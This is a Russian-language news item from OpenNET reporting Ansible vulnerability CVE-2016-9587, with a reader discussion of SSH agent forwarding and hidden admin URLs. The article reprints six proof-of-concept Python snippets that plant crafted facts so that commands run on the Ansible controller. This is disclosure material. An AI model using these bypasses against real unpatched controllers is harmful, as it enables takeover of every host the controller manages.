The OpenNET Project / Index page

[ новости /+++ | форум | wiki | теги | ]

Серьёзная уязвимость в системе управления конфигурацией Ansible

12.01.2017 11:12

В системе управления конфигурацией Ansible выявлена уязвимость (CVE-2016-9587), позволяющая организовать выполнение команд на стороне управляющего сервера Ansible (Controller) через манипуляции на подчинённых хостах. Например, в случае компрометации одного из клиентских серверов, конфигурация которого настраивается через Ansible, атакующие могут получить доступ к управляющему серверу и через него ко всем остальным управляемым через Ansible хостам сети. Проблема проявляется во всех выпусках Ansible и устранена в предварительных выпусках 2.1.4 и 2.2.1, которые пока имеют статус кандидатов в релизы. Исправление также доступно в виде патча.

Уязвимость связана с возможностью указания в числе возвращаемых клиентом атрибутов (Facts) операции lookup, позволяющей организовать выполнение кода, а также специальных атрибутов ansible_python_interpreter и ansible_connection, через которых можно передать код на языке Python и ссылку на хост для его выполнения. Атрибуты возвращаются клиентом в ответ на запрос от сервера и оформляются в формате JSON. Ansible пытается фильтровать опасные атрибуты, но исследователи нашли как минимум шесть способов для обхода имеющихся фильтров:


   PAYLOAD = "touch /tmp/foobarbaz"
   LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
   INTERPRETER_FACTS = {
	'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
	'ansible_connection': 'local',
	'ansible_become': False,
   }
Метод 1, подстановка атрибутов через передачу информации о новом хосте:

   data['add_host'] = {
    'host_name': socket.gethostname(),
    'host_vars': INTERPRETER_FACTS,
   }
Метод 2, через применение условных операторов:

   known_conditionals_str = """
   ansible_os_family == 'Debian'
   ansible_os_family == "Debian"
   ansible_os_family == 'RedHat'
   ansible_os_family == "RedHat"
   ansible_distribution == "CentOS"
   result|failed
   item > 5
   foo is defined
   """
   known_conditionals = [x.strip() for x in   known_conditionals_str.split('\n')]
   for known_conditional in known_conditionals:
       data['ansible_facts'][known_conditional] = LOOKUP
Метод 3, через подстановку в шаблоне для модуля stat:

   data.update({
       'stat': {
           'exists': True,
           'isdir': False,
           'checksum': {
               'rc': 0,
               'ansible_facts': INTERPRETER_FACTS,
           },
       }
   })
Метод 4, через подстановку шаблона с обходом экранирования при помощи синтаксиса jinja:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family':    "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe','"+PAYLOAD+"')]]",
})
Метод 5, через подстановку шаблона в словарных ключах:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
   })

Метод 6, через подстановку шаблона с выполнением при помощи safe_eval:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
   })


  1. Главная ссылка к новости (http://www.mail-archive.com/an...)
  2. OpenNews: Выпуск системы управления конфигурацией Ansible 2.2
  3. OpenNews: Компания Red Hat представила систему управления конфигурацией Ansible 2.1
  4. OpenNews: Выпуск системы управления конфигурацией Ansible 2.0
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/45842-ansible
Ключевые слова: ansible
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (32) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.2, Клыкастый (ok), 11:19, 12/01/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    знойная дырка
     
     
  • 2.54, Аноним (-), 07:27, 13/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    А говорили питон безопаснее пхп. А оказалось одинаково.
     

  • 1.5, anonymous (??), 12:19, 12/01/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    А я ведь точно такую же новость читал совсем недавно. Про crush-report в убунте. На чужих ошибках учиться решительно не желаем!
     
     
  • 2.27, Аноним (-), 15:29, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Ansible принадлежит RedHat.
     

  • 1.11, rshadow (ok), 13:13, 12/01/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    На мобильнике эта новость за экран выползла (сижу на mobile.opennet.ru). Поправьте пожалуйста верстку.
     
     
  • 2.13, Аноним (-), 13:39, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +15 +/
    Единственный комментарий, имеющий отношение к новости -)
     
     
  • 3.15, rshadow (ok), 13:42, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    :-)
     
  • 2.17, Аноним (-), 14:01, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +6 +/
    У них нет CSS-разработчика и HTML архитектора.
     

  • 1.16, IB (?), 13:45, 12/01/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • –5 +/
    Как будто никто не знал что это хипсторский "мега-продукт".

    Впрочем огород на баше и ССШ будет с большой вероятностью ещё хуже.

     
     
  • 2.19, Аноним (-), 14:41, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Впрочем огород на баше и ССШ будет с большой вероятностью ещё хуже.

    Фишка огорода в том что его "автоматическими способами" сложно сломать, т.к. у каждого свой забор.

    p.s. Даже если у вас левая админка на сайте доступна для всех у кого есть url (admin.site.zone/dgosidhygwut3oihgfwpeoriwpifpfs) то ожидать взлома можно только при индивидуальном подходе.

     
     
  • 3.23, Crazy Alex (ok), 14:50, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Это вы здесь за проприетарщину и security by obscurity агитировать пытаетесь?
     
     
  • 4.26, Аноним (-), 15:00, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Это вы здесь за проприетарщину и security by obscurity агитировать пытаетесь?

    Нет просто контр-аргумент :)

     
  • 3.24, rshadow (ok), 14:50, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    А потом окажется что кто-то отправил ссылку по почте в незашифрованном виде, а где то стоит сканер и собирает все урлы *admin*.
     
     
  • 4.25, Аноним (-), 15:00, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > А потом окажется что кто-то отправил ссылку по почте в незашифрованном виде,
    > а где то стоит сканер и собирает все урлы *admin*.

    И? А там нестандартная админка, в ручную всё разбирают?

     
  • 4.35, www2 (ok), 17:26, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Всё проще - открыл в хроме и гугль уже запустил по этой ссылке своих ботов для поиска, а дальше весь интернет об этой ссылке знает.
     
     
  • 5.36, Аноним (-), 17:31, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Всё проще - открыл в хроме и гугль уже запустил по этой
    > ссылке своих ботов для поиска, а дальше весь интернет об этой
    > ссылке знает.

    Да даже если бы это было правдой, какова вероятность что кто-то зайдёт по ней и что-то сделает ( да ещё и составит такой запрос который её покажет не на 1000-й странице, ведь там столько интересных и уникальных текстов, в самописной админке то?) А даже банальный пароль на уровне apache уже сделает сценарий несанкционированного доступа без инсайда совсем невероятным.

     
     
  • 6.47, Аноним (-), 22:45, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Я бы не стал надеяться на то, что кто-то что-то не найдёт хоть на тысячной странице, хоть на десятитысячной. Искать всё равно будут — если будут — не вручную. А боту всё равно сколько страниц, он железный.
     
  • 4.40, Аноним84701 (ok), 18:56, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > А потом окажется что кто-то отправил ссылку по почте в незашифрованном виде,
    > а где то стоит сканер и собирает все урлы *admin*.

    Если по скайпу, то не "где-то" ;)

    http://www.h-online.com/security/news/item/Skype-with-care-Microsoft-is-readi
    > A reader informed heise Security that he had observed some unusual network traffic following a Skype instant messaging conversation ... It turned out that an IP address which traced back to Microsoft had
    > accessed the HTTPS URLs previously transmitted over Skype. Heise Security then reproduced the events by sending two test HTTPS URLs, one containing login information and one pointing to a private cloud-based file-sharing service.
    > A few hours after their Skype messages, they observed the following in the server log:
    > 65.52.100.214 - - [30/Apr/2013:19:28:32 +0200]
    > "HEAD /.../login.html?user=tbtest&password=geheim HTTP/1.1"
    >  The access is coming from systems which clearly belong to Microsoft.
    > Source: Utrace They too had received visits to each of the HTTPS URLs transmitted over Skype from an IP
    > address registered to Microsoft in Redmond.

     
  • 3.43, Ъ (?), 21:42, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Даже если у вас левая админка на сайте доступна для всех у кого есть url (admin.site.zone/dgosidhygwut3oihgfwpeoriwpifpfs) то ожидать взлома можно только при индивидуальном подходе.

    А потом однажды обнаруживается, что подобный суперсекретный путь проиндексировался Google... Знаем, проходили.

     
  • 2.49, Led (ok), 00:53, 13/01/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Впрочем огород на баше и ССШ будет с большой вероятностью ещё хуже.

    Ну, огороднику виднее...

     
     
  • 3.52, Аноним (-), 06:37, 13/01/2017 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Ну, огороднику виднее...

    А что, садоводы уже вынесли у себя третий баш, чтобы над огородниками стебаться?

     

  • 1.20, csa (??), 14:48, 12/01/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    # ansible --version
    ansible 2.1.1.0

    запускает такую команду:
    ssh -C -q -o ControlMaster=auto -o ControlPersist=60s \
      -o KbdInteractiveAuthentication=no \
      -o PreferredAuthentications=gssapi-with-mic,gssapi-keyex,hostbased,publickey \
      -o PasswordAuthentication=no -o ConnectTimeout=10 \
      -o ControlPath=/home/user/.ansible/cp/ansible-ssh-%h-%p-%r \
      -tt \
      <hostname> /bin/sh -c '....'

    -o ForwardAgent=no я там не вижу, а значит как только админ с ForwardAgent=yes в конфиге ssh зайдет на инфицированный хост - все хосты, куда подходит его ключ, будут доступны

     
     
  • 2.22, csa (??), 14:50, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    хихи, как подсказывают коллеги, и отключить-то не всегда можно, особенно когда нужен git с приватного репа
     
  • 2.28, nemo (??), 15:37, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • –3 +/
    Админ с ForwardAgent=yes в конфиге ssh -- это либо лентяй, либо суицидальник припадочный. Такие должны погибать.
     
     
  • 3.38, angra (ok), 18:31, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +5 +/
    Либо понимает как это работает, какие потенциальные риски несет и как их избежать. В отличии от дилетанта, который просто где-то прочитал, что ForwardAgent это опасно, но не удосужился понять почему и тупо как обезьянка его отключает.
     
  • 3.42, anonymous (??), 20:53, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Админ с ForwardAgent=yes в конфиге ssh -- это либо лентяй, либо суицидальник
    > припадочный. Такие должны погибать.

    А каким ещё образом можно использовать бастион-хост? Не, ну можно держать запароленные ключи прямо на нём и делать ssh-add, но всё равно в итоге у тебя на хосте открытый сокет, с помощью которого можно соединиться с другими хостами от твоего имени.

     
     
  • 4.48, solardiz (ok), 23:58, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > А каким ещё образом можно использовать бастион-хост?

    Вот таким: http://openwall.info/wiki/internal/ssh#How-to-access-intranet-servers

     
     
  • 5.55, Аноним (-), 10:41, 13/01/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Это хреновый способ, т.к. надо вручную пробрасывать порты, что довольно геморно и люди на это забьют. Правильный способ, если боишься компрометации бастиона - ProxyJump или ProxyCommand: https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Proxies_and_Jump_Hosts#Jump_Hos
     
     
  • 6.56, solardiz (ok), 23:57, 14/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    > Правильный способ, если боишься компрометации бастиона -
    > ProxyJump или ProxyCommand: https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Proxies_and_Jump_Hosts#Jump_Hos

    Спасибо, хорошее описание, особенно начиная с https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Proxies_and_Jump_Hosts#Passing_ (выше этого места описаны и небезопасные способы тоже). Добавил эту ссылку на Openwall wiki.

     
  • 3.46, Аноним (-), 22:41, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +1 +/
    $ grep -i 'forwardagent.*yes' ~/.ssh/config | wc -l
    14

    Приезжай в любое время и погибни меня, ламер.

    Понабирали каких-то попугаев в админы и на опеннет комментировать отправили.

     
  • 2.34, анонимус вульгарис (?), 17:04, 12/01/2017 [^] [^^] [^^^] [ответить]  
  • +/
    Багрепорт-то отправил, умник?
     

  • 1.31, анонимус вульгарис (?), 16:22, 12/01/2017 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Эта штука написана таким образом, чтобы интерпретировать всё подряд как код. Чему тут удивляться. Впрочем, это вполне в традициях python way.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру